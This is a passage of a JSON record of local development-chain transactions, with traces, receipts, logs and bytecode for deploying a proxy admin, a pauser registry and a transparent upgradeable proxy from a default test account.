017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212202a25c113a0c89ae9cdec45156ac7a705552559358051c68fc6aad769f491533264736f6c634300081c0033","nonce":0,"gas_used":443273},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x6c389","logs":[{"address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000040020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xf24e1f57690eedcf4061c61f17f336486b8ac8b57cbebac56be35dbb5dbdd046","block_number":1},{"info":{"transaction_hash":"0x36e493baf7271595140c6eb3ab0ad73f1a465f974b7f43e80bec732caa827f5e","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405234801561001057600080fd5b5060405161075038038061075083398101604081905261002f91610259565b60005b825181101561006d576100658382815181106100505761005061033a565b6020026020010151600161007e60201b60201c565b600101610032565b5061007781610150565b5050610350565b6001600160a01b0382166100ef5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b60648201526084015b60405180910390fd5b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b0381166101be5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b60648201526084016100e6565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b80516001600160a01b038116811461025457600080fd5b919050565b6000806040838503121561026c57600080fd5b82516001600160401b0381111561028257600080fd5b8301601f8101851361029357600080fd5b80516001600160401b038111156102ac576102ac610227565b604051600582901b90603f8201601f191681016001600160401b03811182821017156102da576102da610227565b6040529182526020818401810192908101888411156102f857600080fd5b6020850194505b8385101561031e576103108561023d565b8152602094850194016102ff565b509450610331925050506020840161023d565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b6103f18061035f6000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea26469706673582212200f9bddaf281b593acba4d40ad0f8076fa9190d1d819fa1d3c292d86b7ab6684564736f6c634300081c00330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000003000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","output":"0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea26469706673582212200f9bddaf281b593acba4d40ad0f8076fa9190d1d819fa1d3c292d86b7ab6684564736f6c634300081c0033","gas_used":254168,"gas_limit":355501,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea26469706673582212200f9bddaf281b593acba4d40ad0f8076fa9190d1d819fa1d3c292d86b7ab6684564736f6c634300081c0033","nonce":1,"gas_used":338342},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x529a6","logs":[{"address":"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512","topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},{"address":"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512","topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},{"address":"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512","topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},{"address":"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512","topics":["0x06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"}],"logsBloom":"0x00000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000004801000000000000000"},"block_hash":"0x44a074a396a59231e218c4b92f584fef3166505bb534345f43a00160de232059","block_number":2},{"info":{"transaction_hash":"0xe405e21ba26d4a3b0a72c85452048c4f59cb45eff93e20f4008c71fda12766b8","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757070000000000000000000000009a676e781a523b5d0c0e43731313a708cb607508000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":117292,"gas_limit":170823,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef2860000000000000000000000009a676e781a523b5d0c0e43731313a708cb607508000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":111022,"gas_limit":162030,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009a676e781a523b5d0c0e43731313a708cb607508"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","address":"0x9a676e781a523b5d0c0e43731313a708cb607508","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x1794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":98133,"gas_limit":147028,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3}]}],"exit":"Stop","out":"0x","nonce":22,"gas_used":140412},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x2247c","logs":[{"address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009a676e781a523b5d0c0e43731313a708cb607508"],"data":"0x"},{"address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000000000000100000000000000000000000400080000000000400000002000001000240000000000000000000000000000000020000000000000100800800000004000000000000000000000000400000000100000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000002020400000200000000000040000000000002008000000000001000020000000000000000000000000000000000000000000000000000000000000400000"},"block_hash":"0xfd37e91c70fb8db2a78606dea4b34a09d4778acdde9f66ed5e2e542cfa1ec7da","block_number":14},{"info":{"transaction_hash":"0xa08de92bbb1ad733fc0a8c40fa54118c643385190c6953b3cb0aee8b32f185fd","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b60408051